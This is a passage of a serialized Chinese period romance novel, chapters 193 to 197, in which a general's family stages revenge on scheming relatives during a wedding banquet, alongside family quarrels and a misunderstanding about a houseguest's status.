“我什么?难道我说错了?我媳妇是华湘阁弟子没错,但我娶的是媳妇,又不是娶华湘阁,你要那么能耐,你自己去华湘阁求人啊!” 到会儿,葛氏还有什么不懂的? 他们兄弟二人今日前来,就是看他们家笑话的! 之前能热情相待,主要是她有求于人,这会儿遭遇如此不留情面的拒绝,她哪里还撑得下客气? “来人啊!” “夫人?”门外两名家奴闻声进来。 “送客!”葛氏咬牙厉喝。 夜时竣一听,甩手冷哼,“谁稀罕来似的!大哥,我们走!” 夜时珽绯红的唇角暗暗勾着笑,紧随他离去。 “魏夫人,老夫已经开了方子让人去抓药了,如何服用老夫也已经交代清楚。这里没别的事,老夫就告辞了。”陆长青让随从拿起医药箱,对葛氏说完后也离开了。 “诶……陆院使……”葛氏想唤住他。 但追到门口,陆长青已经走出老远了。 她目光不由地变得凶厉,咬着牙道,“你们要是敢把我家老爷的事宣扬出去,我一定跟你们没完!” 魏府门外。 夜时竣上马车之前对随从招了招手,沉着脸道,“找到那几个被葛氏发卖的女人,买下来,给她们每人一千两安置费。” “是。” 随从离开后。 兄弟二人上了马车。 夜时珽挑眉道,“就这样回去,不做点别的?” 夜时竣一脸坏笑,“魏广征废了,葛氏守活寡是免不了的。看她那般可怜,要不我们帮她配个二夫?” “谁‘配’得上她?” “大哥忘了么,我们还有个好大舅呢!大舅母不是刚去世吗,大舅舅现在死了夫人又丢了候位,够孤苦的,配给葛氏,不正合适?” 夜时珽一本正经地想了想,点头,“嗯,是挺般配的,找机会为他们‘牵线’吧。” “好!”夜时竣笑道。 …… 魏广征服了陆长青开的药,当天夜里便醒了过来。 而他醒来后的第一件事就是要去找玉娘。 “老爷,你这是要作甚?到现在你还惦记着那几个贱人,你是不想要命了吗?”葛氏气恼不已,“我实话告诉你吧,那几个贱人已经叫我发卖了!” “什么?你把她们发卖了?”魏广征鼓着双眼,下一刻激动地下床,对着葛氏的脸就是一巴掌,“你这个妒妇,她们伺候我没有功劳也有苦劳,你竟敢不经我同意就将他们发卖了,你眼中还有我这个当家人吗?” “姓魏的,你魔怔了吗?她们让你得了脏病,差点害死你,你竟然还把她们当宝!”葛氏捂着脸不敢置信地吼道。 魏广征也越发激动,刚刚才苏醒的他又是动手又是动怒的,哪里遭受得住,下一刻翻着白眼就倒在了地上。 葛氏怨恨地瞪着他,这一刻只觉得心如死灰,别说担忧了,恨不得上前踹两脚—— “姓魏的,你就是个人畜不分的狗东西!一把年纪了还学别人圈养女人,你也不看你配吗!”她也真是恨到无法自控,上前对着魏广征拳打脚踢,发泄这数月来的委屈和愤怒。 “母亲!”魏永淮进来看到她的举动,惊得赶忙将她拉开,不满地质问道,“父亲都这样了,你怎能对他动手?” “我对他动手怎么了?我还恨不得宰了这不要脸的老东西!”葛氏破口大骂。 魏永淮深吸一口气,痛心道,“母亲,不管父亲如何染病的,但他都这样了,你就不能放过他吗?非要把家中这些丑事闹到人尽皆知你才高兴?” 他不帮母亲说话,是因为他比谁都了解自己母亲的脾性。 在那个梦中,他就是听从了母亲的话,为了霸占夜时舒的嫁妆,每日喂夜时舒服下慢性毒药,最终害死了夜时舒,也让自己惨死在夜时竣手中…… 如今现实中,看着她对父亲的暴行,他真的不能再忍受! ‘啪’! 响亮的巴掌声落在他脸上,他不可置信地捂住脸。 葛氏叉腰怒骂,“我怎么就生了你这么个是非不分的东西?你睁开眼好好看看,你父亲他是如何对我的?他眼中还有我这个发妻吗?你不帮着我就算了,居然帮着他说话,你是不是想学他一样狼心狗肺?” “母亲,你真是不可理喻!” 第193章 把这几日的补上 见儿子要去抱魏广征,葛氏气急不已地上前拉拽他,连吼带骂,“你给我滚开!你要还认我这个母亲,就去偏院对付那个贱人,把她肚子里的贱种弄掉!你要继续在这里忤逆我,我就当从没生过你!” 不怪她说出这样的狠话,主要是这几个月来魏广征圈养一个又一个女人,在她眼皮下沉迷女色荒淫无度,真的已经把她折磨得数次抓狂。 而这些日子以来,她的亲儿子,从未站出来指责他老子半句,更没有袒护过她半分。 丈夫冷漠也就算了,可从小疼到大的儿子都不知心疼她,试问,她能不寒心? 魏永淮把魏广征抱上床后,回头怒瞪着她,“知道为何父亲要冷落你?你事事以自己喜好为主,蛮横专制,听不得旁人半点意见!所有的事都必须按你的要求做,若不能令你满意,你便不依不饶,直到达成你的目的为止!我和爹是男人,男人是要脸面的!” 葛氏睁大着双眼,做梦都没想过儿子竟然对她说出这样的话! 而这样的话,好比一把把利剑刺着她心口,除了心寒刺骨外,更是痛得让她快无法呼吸了。 偏偏她的好大儿骂上瘾了似的,更是细数起了她过往的种种,“当年夜夫人与你那般要好,你却只惦记着她的家财,如果不是因为你嫉妒成狂想霸占她的财物,那夜夫人也不会死!她不死,即便我娶不到她女儿,但凭你们的交情,我们魏家与夜家也不会闹出这样!” “是你的短视和贪婪让我们魏家举步艰难!如果我们没有与夜家闹僵,那父亲不论生多重的病,他们夜家今日也不会袖手旁观!今日他们上门来落井下石,这不都是你一手造成的吗?” “你……”葛氏一手捂着心口一手颤抖地指着他,痛心疾首地道,“我做这么多究竟是为了谁?明明夜时舒都快到手了,只要你再多忍忍,等到夜时舒进门我们就能得到她所有的嫁妆,可是你却从外面捡个女人回来,我处心积虑这么多年,到最后竹篮打水一场空,全都是因为你管不住自己下半身,你还有什么脸埋怨我?” “够了!”魏永淮忍不住咆哮。 她说的一切计划都印证了他做过的那场梦! 是,如果他再忍忍,一定能娶到夜时舒,到时候不动声色地给夜时舒下毒,最终夜时舒那价值数十万两的嫁妆全都会变成魏家的…… 可是! 结果呢? 他们死在了夜时竣的剑下! 比起梦境中他们害死夜时舒最终全家被夜时竣屠杀,如今他们一家还活着,这已经不是用‘庆幸’二字就能形容的。 这是夜时舒及时转嫁承王,他们才脱离梦中的行径,才侥幸活下来的! 看着面前狰狞厉色的母亲,他嫌恶地继续咆哮,“以后这个家用不着你管!来人!” 门外家奴进来,“公子有何吩咐?” “把夫人送回她院中,没有我的准许,不许她踏出院门半步!” 家奴愣愣地望着他,似在怀疑自己听错了。 葛氏更是不敢相信自己一手养育大的儿子竟会让她禁足,气得她理智彻底失去,又狠狠地甩出了巴掌—— “你这个畜生,竟敢如此对待自己的生母,我真是白养你了!” 魏永淮结结实实地受着,只是在她第二巴掌要落下时,他猛地抓住她的手腕,然后冲家奴怒吼,“你是聋了吗?要不要本公子现在先砍了你?” 家奴猛一哆嗦,赶忙招呼外面的同伴进来,然后一同扭抓住葛氏,把她往外拽! 葛氏哪里受过这等屈辱,何况还是亲儿子给的,激动得她好比野兽上了身,撕心裂肺地吼着,“你这没人性的畜生!跟你父亲一样!你们如此对我,将来必定不得好死!” 魏永淮虚脱般坐在床边,抬着手使劲儿地压着太阳穴。 自太子被打入死牢,他知道自己仕途尽毁,加上夜家对他们魏家的嫌恶,他这一辈子都别想在大邺国出人头地。 但他给自己留了后路…… 马上北蔺国的使节就要到京城了,只要北蔺国认回骆丽娴这个公主,那他便能靠着骆丽娴离开大邺国! 至于这个家…… 他看了看床上一脸蜡色如同病入膏亡的男人,眼中露出深深的鄙弃。 起身,他头也不回地朝门外走去。 正巧管家跑来。 “公子,听说老爷醒了……” “嗯。”他淡淡地应了一声,连脚都没顿一下。 “公子?”察觉到他的异样,管家还想唤住他,可又担心房里的魏广征,于是迟疑了片刻后便打消了追上去的念头,转身跑进了房里。 …… 承王府。 尉迟凌开始上朝后,每天都早出晚归,连着好几日夜时舒都睡下了他才回府。 她也理解尉迟凌现在的状况,虽说帝王还没立尉迟凌做新太子,但废太子原本把持的事务现在都转交到了尉迟凌手上,各种交接流程及人事变动,用脚趾头都能想到会有多繁琐忙碌。 只是明日有些特殊,她今晚没早睡,特意留灯等着他。 亥时,尉迟凌推门进房。 见她坐在床头看书,眉头微蹙,“怎么还未睡?” 他一身里衣,墨发垂腰,还带着明显的湿气,一看就是刚洗过澡。 夜时舒放下书,朝他举起双手,打趣道,“我睡着了你才回来,还没醒你又出门了,我再不等着你回来,过段时日怕是连自己男人长什么模样都忘了!” 尉迟凌坐上床,接住她的投怀送抱,接着把她压在身下。 没有温言细语,只有缠绵悱恻的深吻。 夜时舒心下哭笑不得,特别是彼此身上的衣物都叫他扯开后,她赶紧抓住他的手腕,一边止住他的更进一步举动,一边喘息着说道,“明日将军府摆酒,爹和九姑的喜事。本来我今日就想回将军府的,但又怕你说我不给你打招呼。” 尉迟凌勾着唇道,“今日散朝后岳父大人已经同我说了,父皇准我明日休沐。” “真的?”夜时舒搂住他脖子,“那明早你可以多睡会儿了?” “嗯,今晚还要把这几日的补上!” 夜时舒还没来得及发笑,他的吻又重新纠缠住了她。 一室旖旎,直到后半夜烛火才被熄灭。 翌日。 由于昨夜的放纵的,夫妻俩踩着吉时才到将军府。 夜庚新和九姑拜完堂后,也没急着去洞房。兄妹三人依次敬完茶,改了称呼,九姑才在喜娘搀扶下离开喜堂。 今日没别的宾客,就游家和魏家、再加上范老夫人与其孙子孙女。 夜时舒把夜时竣拉到角落里,很是不解地问他,“姑婆祖孙仨谁请的?请他们就算了,葛氏怎么也来了?” 夜时竣朝花厅的方向看了一眼,鄙夷道,“那老太婆听说爹今日娶亲,自己带着她那对宝贝孙子孙女上门来的!”提到葛氏,他忽地露出一脸坏笑,“给魏家的帖子是我发的,这事还没来得及跟你说,不过你也别不高兴,回头二哥让你看出好戏!” 夜时舒立马来了精神,“啥好戏?” 夜时竣随即压低了嗓音告诉她。 听完,夜时舒差点喷笑,“谁想出来的?” 夜时竣拍了拍胸膛,傲娇地道,“当然是你二哥我了!” 夜时舒直接对他比了个大拇指! 温氏和葛氏合谋害死他们娘亲,他们两家不是爱勾结吗,那好,现在就让他们‘勾’得更厉害! 再说花厅里,葛氏垮拉着脸,既不跟任何人说话,也不给任何人好脸色。 之所以来将军府观礼,不是她主动要来的,而是她被儿子软禁在房里,就在她为之痛苦不知自己要被关到何时时,夜家突然派人给她送请柬。 魏永淮这才让人放她出来。 但那日被夜时竣义正严词的拒绝,她对夜家这帮人恨之入骨,自然拿不出任何好脸! “魏夫人,我家二公子请您过去,说是有事要同您说。”一名丫鬟突然到葛氏跟前恭敬地传话。 葛氏心中大骂,这小畜生,那天落井下石还不够,还想再取笑她一番不成? 尽管心中各种咒骂,但她还是跟着丫鬟去了。 而另一边。 夜时竣热情地招呼着游建彬和游建川,还让人提前给游建彬上了一壶好酒。 “大舅舅,这可是我爹的私藏,我是偷偷拿出来的,你可得多喝两杯!” 第194章 你怎么可以有通房? 游建彬能来,那都是被兄弟游建川硬拉着来的。 要说对夜家父子几人恨之入骨,其实游建彬丝毫不输葛氏。 虽然他的侯位是被承王削掉的,但承王是夜庚新的女婿,夜庚新没替他在承王面前求情,也就代表夜庚新是削他侯位的帮凶,甚至有可能是幕后主使! 有谁能明白他心中的仇恨?妻死子散不说,游建彬抢了他的侯位,他还要仰仗游建川度日,这已经不是耻辱了,简直就是杀人诛心要他生不如死! 可儿子还没回来,他得忍,忍到儿子回来那一日才能报复这一帮人! 对于夜时竣的殷勤,他并没有多疑,毕竟自己现在已经是光脚汉了,除了一条命以外还有什么值得他们动心思的? 正好他可以借这户酒解解愁…… 于是他一杯又一杯的喝,很快就把一壶酒喝得见了底。 “大舅舅,我知道你喜欢喝酒,但你也不用喝得如此快啊!这酒年头不小,后劲儿也不会小的!”夜时竣好意地劝他。 “别管我!既然要请我喝酒,那就给我多拿些来,让我喝个痛快!”游建彬不满地挥手。 他面色已经染上了红晕,挥手的动作都失去了协调,明眼人一看就知道夜时竣没撒谎,这酒的后劲儿不是一般的大。 游建川皱着眉也劝道,“大哥,先歇歇吧,一会儿酒宴开始了,你再好好喝个够。” 游建彬摇了摇头,是觉得头有些变重。 “大舅舅,我扶你去偏房歇会儿,等酒宴开始了再叫你。”夜时竣笑说着就去扶他。 游建彬也没拒绝,因为他发现自己不但头变重了,连目光所及的东西都开始模糊起来。他也有些懊恼自己方才喝得太快,可酒已经喝了,现在只能先找个地方休息。 夜时竣扶着他一边往外走一边笑着提醒,“大舅舅抬脚!你先稳着点,别晃得太厉害,我都快抱不住你了!” …… 花园里。 夜时珽望着葛氏随丫鬟远去的背影,唇角的冷笑还没来得及收,便听身后传来温柔的嗓音。 “大表哥。” 他剑眉微蹙,一丝厌恶从眸底闪过。 转过身,他温声招呼,“云莹表姐。” 范云莹直勾勾的看着他,毫不掩饰自己对他的爱恋,“大表哥,好些日子不见,你过得好吗?” 可范云莹仿佛感觉不到他的冷漠和敷衍,还红起了眼眶,哽咽道,“大表哥,莹儿以前不懂事,做了不少错事,让你失望了。这些日子以来,莹儿不断地反思、反悟、反省,已经成长了许多,再不会任性妄为了。大表哥,你不能给莹儿一个……” “大公子!” 范云莹话还没说完,便对一道喊声打断。她见夜时珽转身,也随着夜时珽视线望去。 只见一个女子一蹦一蹦地朝他们而来。 女子很年轻,秀丽的脸盘,乌黑明亮的大眼,一头乌发随着她蹦跳而摇摆,整个人仿佛精力般充满了灵动和活力。 而她肩上扛着一把斧头,跟她的仪容完全不搭,看起来有些滑稽。 “大公子,明日的柴我都劈完了,你瞧我厉害不?”离瑶得意地挥着手里的斧头。 “嗯,很厉害。”夜时珽手握虚拳抵着唇角掩盖着笑意,“府里的人都不及你。” “那是!你也不瞧瞧我是吃什么长大的!”离瑶傲娇地扬起下巴。 “那一会儿酒宴开始了,我让人给你多上几只鸡腿。”夜时珽笑说道。 一开始,他只觉得这丫头太能吃了,除了正常膳食外,每日还要给她另开小灶。本来吧,他们一家也没觉得有什么,吃就吃吧,夜家也不在乎这点吃的。 哪知道这丫头是个坐不住的主。她吃得是多,但府里的活也干得不少。挑水、洗衣、劈柴啥都做,不让她做还不行,饭菜都吃不香。 用他爹的话说,这哪里是供养恩人,分明就是招了一个免费的下人。 “大表哥,她是谁啊?”看着他对别人温言细语甚至不顾形象地发笑,范云莹心中不由地涌出一股醋意。 大表哥? 离瑶听到询问声,盯着范云莹上下来回打量,“大公子,这是你表妹吗?” “嗯。”夜时珽淡淡地应了一声。 “我叫离瑶,请多指教。”离瑶笑着自我介绍起来。 “大表哥……”范云莹泫然欲泣地望着夜时珽,哽咽问道,“没想到你也会有通房。” 夜时珽一听,俊脸倏地沉下。 但不等他开口,离瑶便不解地问道,“什么通房?” 范云莹见她一脸傻气,心中的醋意让她越发激动,直接哭出了声,“大表哥,你怎么能允许爬床的事发生?我跟她比起来,哪里不如她了?为何你宁可要通房都不要我?” 离瑶扭头看了看一脸黑气的夜时珽,又盯着范云莹研究了片刻,突然恍然大悟,“姑娘,你别乱说啊,大公子他可是正人君子,怎么能爬我的床?我们是住在一个府中,可房子不通的!” 范云莹,“……” 夜时珽本来一脸黑的,结果听到她解释的话,差点没忍住喷笑。 而他忍俊不禁的反应在范云莹眼中那都是他在乎其他女子的表现,可这更是把范云莹的醋坛子打翻了,一边哭着一边去拉夜时珽的衣袖,“大表哥,我知道错了,你原谅我一次,我们重新开始好不好?” 夜时珽刚有所好转的神色瞬间又变得冷冽,毫不留情地甩开了她的手,下一刻突然抓住离瑶的手腕将离瑶拉近。 “如云莹表妹所见,所以请你自重!”顿了一下,他冷硬地补充道,“顺便提醒你,她不是我的通房,若是你肆意侮辱她,我定不会轻饶你!” 第195章 我们怎会睡在一起? 语毕,他拉着离瑶头也不回地走远。 范云莹望着他们的背影,懊悔加嫉妒让她心窝子像被捅了一般,疼得她眼泪簌簌狂掉。 如果不是她和祖母贪图夜时舒的嫁妆,今日的她已经做了这将军府的大少夫人,又岂会让别的女子登堂入室抢她的男人? 她悔…… 真的好悔…… …… 走到无人的角落,夜时珽才将离瑶的手腕放开,歉意地道,“抱歉,拿你做了盾牌。” 离瑶眨着眼反问,“你表妹看起来很喜欢你,你为什么要拒绝她?” 夜时珽紧抿薄唇。 看着他眸底浮出黯光,离瑶也很识趣,赶紧笑了笑,“哎呀,我就随口问问而已,你不用解释的。我大哥教过我,一厢情愿不是好事,没必要勉强自己。就拿我来说吧,北蔺国四皇子单恋我,我不喜欢他,所以只能想办法躲他。” 正在这时,有两道身影朝他们走来。 离瑶赶紧挥手,“芯儿,这里这里!” 顾思沫笑着跑向他们,指着身后的游宏馨给她介绍,“瑶儿,给你介绍个朋友,她叫也馨儿,只是我们同音不同字,是二舅舅的女儿。” 离瑶朝游宏馨看去,笑弯了眉眼,“馨儿好?我叫离瑶,初次见面,请多指教!” 游宏馨腼腆地朝她福身行礼,“瑶儿,请多指教。”接着她又给夜时珽见礼,“大表哥。” 夜时珽看着年纪相仿的她们,勾唇笑了笑,“你们说话吧,我还有事,先去忙了。” “好。”仨人同声回道。 等他一走,离瑶赶忙问顾思沫,“不是说王妃要来吗?她人呢?” “她说一会儿来找我们!”顾思沫说着话忍不住去扯她的衣袖,打趣地笑道,“你又跑去后院做事了?瞧你这模样,不知道的还以为你是府里买回来的丫鬟呢!赶紧回房换身干净的衣裳,马上要吃席了!” “那你们等着我,我这就去换身干净的衣裳!”离瑶说完就跑。 “我们陪你去吧!”顾思沫拉着游宏馨追了上去。 另一边。 夜时舒还真是抽不开身去找顾思沫她们玩。 她和尉迟凌刚坐下,屁股都还没坐热呢,范老夫人就找来他们跟前。 身后还带着他的孙子范云濡。 面对他们祖孙恭敬地跪行大礼,夜时舒不冷不热地开口,“姑婆、表哥,请起吧。这是家宴,不用如此。” 范老夫人被范云濡搀着起身后,慈眉善目间尽显关怀,“王妃,听说王爷接替大学士之职,我们可为王爷高兴了。只是你云濡表哥马上要参加秋闱考试,近来忙着温习功课,没时间去王府拜访你们。” 夜时舒哪会听不懂她话中的含义,就这她带着范云濡找过来,便已经猜到他们祖孙的目的。 她礼貌地笑了笑,对范云濡鼓励道,“云濡表哥多多努力,争取今年榜上有名。” 范云濡拱手礼道,“多谢王妃关心。” 范老夫人立马笑说道,“王妃,听说今年秋闱考试,皇上打算让王爷做主考官,可是真的?” 夜时舒别有深意地‘呵’道,“姑婆的消息还真灵通。” 许是见尉迟凌并没有不悦的神色,范老夫人也没有不好意思,甚至直接向尉迟凌开口,“王爷,您看能不能给舒儿她表哥行个方便?” 尉迟凌丰眉微挑,“老夫人的意思是要本王为范公子作弊?” 范老夫人干笑,“王爷,我们不是这个意思,只是想请您多指点指点云濡。我们在京城的情况您也是知道的,云濡他虽勤勉上进,但与京城才子相比,到底少了许多见识。如果王爷能指点他一二,他今年科考一定能上榜的。” 正在这时,夜时舒的二舅母马氏带着儿子游宏泽进了厅堂。 母子俩也如范老夫人和孙子一般先给他们行了大礼。 夜时舒笑着招呼,“二舅母、宏泽表哥,你们这是做什么?快起来!” 母子俩起身后,马氏将盖着红布的两只篮子提到夜时舒面前,说道,“王妃,将军说你们忙,我们也不好去王府打扰你们。这是你二舅舅在外行商时带回来的干果,我一直给你们留着。今日知道你们要回将军府,特意给你们带来,还请你和王爷别嫌弃。” 夜时舒起身,笑着接过,“爹都跟我说了,最近二舅舅动不动就往将军府送吃的,我听着就馋,没想到二舅母还留我们的份。” “你们不嫌弃就好。” “不嫌弃不嫌弃!”夜时舒笑着朝游宏泽看去,关心地问道,“宏泽表哥今年也要参加科考,不知温习得如何了?” 游宏泽作礼回道,“多谢王妃关心,表哥不才,能榜上有名便知足了。” 看着她对游家母子的热情,范老夫人老脸不由地失色,范云濡也别扭地低着头。 可夜时舒才不管那么多,毕竟比起一肚子坏水的范家祖孙,她二舅舅和二舅母在她心中才是真的亲戚。 如果真要给谁开后门,那她毫不犹豫地选择游宏泽这个表哥。毕竟让游家重振门楣,这也是她和父亲、兄长的心愿。 尉迟凌看了她一眼,又看了看面前的祖孙和母子,突然道,“范公子和游公子都是今年科考的举子,父皇最是爱惜贤才,如果二位有心投身仕途为社稷分忧,本王可为你们推荐德高望重之师,对你们多加提点。” 闻言,范老夫人和范云濡大喜。毕竟他们今日不请自来的目的就是为此,原本以为会有阻碍,没想到承王竟如此轻易地开口! 马氏和游宏泽也面露惊喜。 四人赶紧向尉迟凌叩谢。 尉迟凌接到又道,“你们回去准备准备吧,明日带上以往的佳作带去承王府,本王先过目。” 范云濡和游宏泽同声应道,“是!” 郝福从门外进来,恭敬地唤道,“王爷、王妃,将军让小的来请你们入席。” 尉迟凌和夜时舒相视一样,先离开了厅堂。 …… 城中某间客栈。 葛氏睁开眼,只觉头晕脑胀。 然后,当她扭动身子欲坐起,猛地发现不对劲儿—— 陌生的房间。 身旁竟还躺着个人! 她定眼一看,惊叫声顿时破喉而出—— “啊!” 身侧的男人似是被惊醒,一下子蹦坐起来。 待看清楚她时,也忍不住惊叫,“你……你……我……” 第196章 你不会真对她有意思吧? 葛氏发着抖,脸色比死灰还难看。 此时的他们身无寸缕,发生了什么难道还用怀疑吗?而这个房间的布置,也根本不是将军府的风格! “别叫了!你是想把旁人引来看我们的丑事吗?”回过神的她忍不住朝游建彬恼道。 “可是……”游建彬窘迫地抓紧被子捂住自己。 “我们这是叫人阴了!”葛氏指甲掐着手心,满脸都是扭曲的恨,“十有八九是夜时竣做的!” 夜时竣? 游建彬先是怔愣,接着激动地道,“我想起来了,是他给我喝的那壶酒……那壶酒有问题!” 葛氏恶狠狠地瞪着他,“今日之事你最好烂在肚子里,要是你敢走漏半句,我定不放过你!” “不行,我要去找那小畜生算账!”想起一切的游建彬磨着牙就要下床找衣物。 “你干什么?想死得紧吗?”葛氏怒不可遏地抓住他,“现在这里只有我们,且我们不在将军府,就算你找上门又有何用,你有证据证明是夜家的人做的吗?你没证据,只会让我们的丑事被散播出去!” 说完,她也顾不上羞不羞人,爬下床就开始找自己的衣物穿戴起来。 游建彬看直了眼。 虽然两家人以前时常走动,可他也没对葛氏有过非分之想。他做梦都没想到会发生这种事,更没想到半老徐娘的葛氏她竟是这般的风韵犹存,比温氏在世时那干煸的身材丰盈圆润…… 他狠狠地咽了口口水。 葛氏穿戴得差不多,这才发现他赤裸裸的目光,顿时羞恼成怒,“还愣着做什么?是等着被人捉奸吗?夜时竣他们敢算计我们,就肯定不会放过我们!” 说完,她头也不回地跑去开门,确定门外没人后,果决地跑了出去! 游建彬僵冷着,脑海中不断浮现出她方才的模样,久久都没有任何动作—— …… 出了房门葛氏才发现这是一家客栈,她顾不得张望任何,用手绢半遮着脸一口气跑回了魏府。 回到自己院里,她第一时间把房门关上,大口大口地喘着气,只觉得心脏处仿佛着火了般,烧得她想死的心都有了! 她怎么都想不到,算计了别人半辈子的她竟老马失蹄反被人算计! 夜时竣这个狗东西! 她一定不会放过他的! …… 将军府。 两桌家宴,男人一桌,女人一桌。 男桌这边,游建川不见游建彬出来,偷偷问夜时竣,“你大舅舅没出来,可需要我去唤他?” 夜时竣笑说道,“二舅舅,你是不知道大舅舅喝那一壶酒的后劲儿有多强,我把他送房里,他倒头就睡了。你现在去唤他,估计也醒不了。我已经吩咐厨房给大舅舅留了酒菜,你不用担心他吃不上。” 游建川不疑有他,正巧夜庚新招呼他喝酒,他也没多的心思再去想游建彬。 而另一桌。 夜时舒她们刚动筷,魏府丫鬟便找了过来。 “参见承王妃!” “何事?”夜时舒假装不解地问她。 “王妃恕罪,奴婢不是有意来打扰您用膳的。实在是奴婢找不见我家夫人,不知她去了哪里,所以才想过来问问。”葛氏的丫鬟低着头解释。 “魏夫人来了吗?”夜时舒朝范老夫人、马氏、顾思沫她们问道,“你们谁见过魏夫人?” 顾思沫、游宏馨最先摇头。 范老夫人说道,“王妃,先前我们一直在厅堂里同您和王爷说话,没见过魏夫人。” 马氏附和地点头。 夜时舒随即对那丫鬟说道,“我们都没见过魏夫人,你要不去问问郝管家,说不定你家夫人有事先离开了。” 丫鬟看着大家都摇头,且也不像是说谎的样子,不得不退下去找郝福。 “今日是我爹的大喜日子,也是家宴,大家都不用拘着。”夜时舒笑着招呼。 如今的她身份贵不可言,曾经范老夫人仗着自己是长辈妄想对她指手画脚,可吃了那么多亏后,现下又因为孙儿科考的事要巴结尉迟凌,是真不敢再冒犯她丁点儿。 夜时舒动筷后她才敢动筷,且全程都陪着慈祥和蔼的笑。 “将军府的食物真是太好吃了!”离瑶抓着顾思沫为她夹的鸡腿一边啃咬一边夸赞。 夜时舒忍不住失笑,“这都是家常菜,改天带你去紫琼山庄,那里的食物样样都别具特色,才是真诱人呢!” 闻言,离瑶笑望着她,“真的?那我肯定要去!” 夜时舒这些日子回将军府虽然不频繁,但是离瑶住进将军后的一些情况她可是很了解的。九黎部落她没去过,夜时珽同她说了一些,她知道那里的生活习性和大邺国有很多的不同。 比如那里的人以打猎为生,为了生存,男女老少都崇武,所以离瑶的轻功才会那般的好。因为那里的人不怎么吃细粮,都以猎物做主食,所以离瑶才习惯性用手抓吃的。 听着她们的对话,范老夫人仔细地打量起离瑶来。 方才孙女告诉她,说这个女子跟夜时珽关系匪浅时,她就很是为自己的孙女报不平。现在跟这个女子同桌进食,再看这女子粗鄙的吃相,她忍不住开口轻斥,“这是哪家的姑娘,为何如此不懂礼数?与王妃同桌进食就算了,还如此粗鄙无礼,实在不该!” 夜时舒脸上的笑容不由地一僵,斜眼睨向她。 这老东西一天不作妖会死吗? 然而,不等她开口,范云莹就接着范老夫人的话训斥离瑶来,“你一个通房,如何能上桌?还敢与王妃一同进食,真是不知天高地厚!” 通房? 顾思沫惊讶地望着她们祖孙。 什么通房? 谁的通房? 夜时舒沉下脸,问道,“云莹表姐什么意思?” 范云莹见状,以为她还不知情,便指着离瑶说道,“王妃,您还不知道吧,她是大表哥的通房,大表哥自己都承认了!这种不知廉耻爬床的女人,你怎么能允许她上桌呢?简直就是辱没了你的身份!” 夜时舒倏地皱起柳眉,然后朝身侧的顾思沫看去。 顾思沫赶紧用眼神示意,压根就没这回事。 他们大哥最多就是担心府里人怠慢了离瑶这位客人,偶尔会过问一下离瑶在府里的情况。 这‘通房’之说简直就是无稽之谈! “云莹表姐,离瑶是我将军府的客人,如何待她,我将军府自有主张,就不劳你和姑婆操心了。”夜时舒冷着脸开口。 “可她和大表哥……”范云莹一脸受伤的表情。 “她和我大哥那是他们的事,我都没资格过问!”夜时舒语气冷硬起来。 范云莹还不甘心,但范老夫人瞧着事态不妙,赶紧给孙女使眼色,“莹儿,不得无礼!你关心时珽是没错,但时珽他是个正常男人,有几个通房也正常!” 在她眼神警告下,范云莹咬着唇,不再出声了。 马氏瞧着这一切,偷偷打量了离瑶一番,直觉告诉她,这叫离瑶的女子与夜时珽根本不是那么回事。 夜家的男人,就没听说谁有过通房的。 就拿九姑来说,曾是承王的手下,那般卑微的身份,夜将军在立婚书时找他们作证婚人,给的可是继室的身份,可不是什么姨娘、贵妾的。 何况夜时珽正值娶亲之龄,要是有中意的女子,直接下聘说亲娶了就是,哪里用得着遮遮掩掩? “母亲,快吃吧,饭菜都要凉了。”游宏馨给马氏夹了一片肉,并借机在她耳边暗示,让她莫要再东张西望。 马氏会意,赶紧低下头假装认真进食。 夜时舒伸长手臂,亲自给离瑶夹了一只鸡腿,笑着道,“喜欢就多吃些,别的将军府不敢保证,但吃的绝对管够!” “谢谢王妃!”离瑶咧嘴笑出了两朵梨涡。 对于范家祖孙的话,她既没有反驳、也没有解释,主要是先前已经被范云莹误会过了,而且她也知道夜时珽拿自己做盾牌。 她心中非但无所谓,反而还乐意十足。 毕竟帮着大公子,她在这里也能吃到更多的好东西。总不能白吃白喝白住啥也不干吧,那多不好意思? 至于通房还是同房,管他什么房,随便别人怎么说,又少不了她一块肉。 …… 用完席后,夜时舒让人把两位兄长叫去了她的悦心院。 得知葛氏和游建彬的事成功后,夜时舒掩嘴笑问,“二哥,你做得这般明显,就不怕他们提刀杀上门找你算账?” 夜时竣抱臂,一脸坏笑,“那种事,他们好意思闹?何况我让人把她们弄到客栈去了,他们又没证据证明是在我们将军府出的事!我没让人去客栈捉奸已经算仁慈了!” 夜时舒红唇微抽。 这哪是仁慈,这分明就是明智! 要是真让人去客栈捉奸,葛氏和游建彬恼羞成怒之下肯定要找她二哥算账的,到时候闹起来,就算没证据证明是她二哥做的,他们将军府也会引人诟病。 不捉奸,葛氏和游建彬为了颜面,只会想方设法吞下这口恶气。除非他们豁出去了,都不要脸面了,才会主动找上门来。 葛氏的报应才开始呢…… 想到桌上的事,夜时舒又忍不住同夜时珽说道,“大哥,我瞧着范云莹对你还心存幻想,你可得防着些!还有,她好像误会离瑶跟你的关系了,你是不是故意做了什么让她误会?” “嗯,我让她误会离瑶是我的女人。” “噗!”夜时珽忍不住喷笑,“大哥,你这是玩的哪出?你不会真对她有意思吧?” 第197章 大哥这是害羞了? “说什么胡话呢?”夜时珽没好气地拿眼神剜她。 “大哥,我这哪是胡话,我看你才是办糊涂事!”夜时舒半是玩笑半是认真地说道,“你这样做范云莹会不会死心我不知道,但我知道你把离瑶拉下水了。女子最重要的是什么?是名节呐!我的好大哥,你这是欺负人家远在异乡没人撑腰是吧?” 听她这么一说,夜时竣也忍不住附和,“是啊,大哥,你怎么如此冲动,拿人家清白女子的名节开玩笑?先不说离瑶会不会让你负责,你这行径就实在不妥,咱夜家也不兴干这种事啊!” 夜时珽俊脸如染了墨一般黢黑。 回想自己今日的所作所为,他这会儿还真想抽自己一巴掌…… 怎就鬼迷心窍拿无辜女子作戏? “我……范云莹先误会我和离瑶……我见她贼心不死很是厌烦……便……”一向沉稳内敛的他罕见地说话都变得不顺畅了。 “得了,大哥,你别解释那么多了。离瑶愿意帮你,那是她寄人篱下不得不帮,但你这样做终归是你不占理,坏了人家姑娘名声。眼下你要考虑的是,该如何对离瑶负责?”夜时竣直言道。 夜时舒也点头表示这次站在二哥这边。 正在这时,顾思沫带着离瑶走了进来。 瞧着厅堂里气氛不对,顾思沫好奇地问道,“大哥、时竣、小妹,发生何事了?” 离瑶也睁大眼不停地瞅这个又瞅那个。 夜时舒干笑,说道,“瑶儿,你来得正好,我们正在商量你和我大哥的事。今日大哥为了应付范云莹,利用了你,损了你的名声,实在抱歉……” 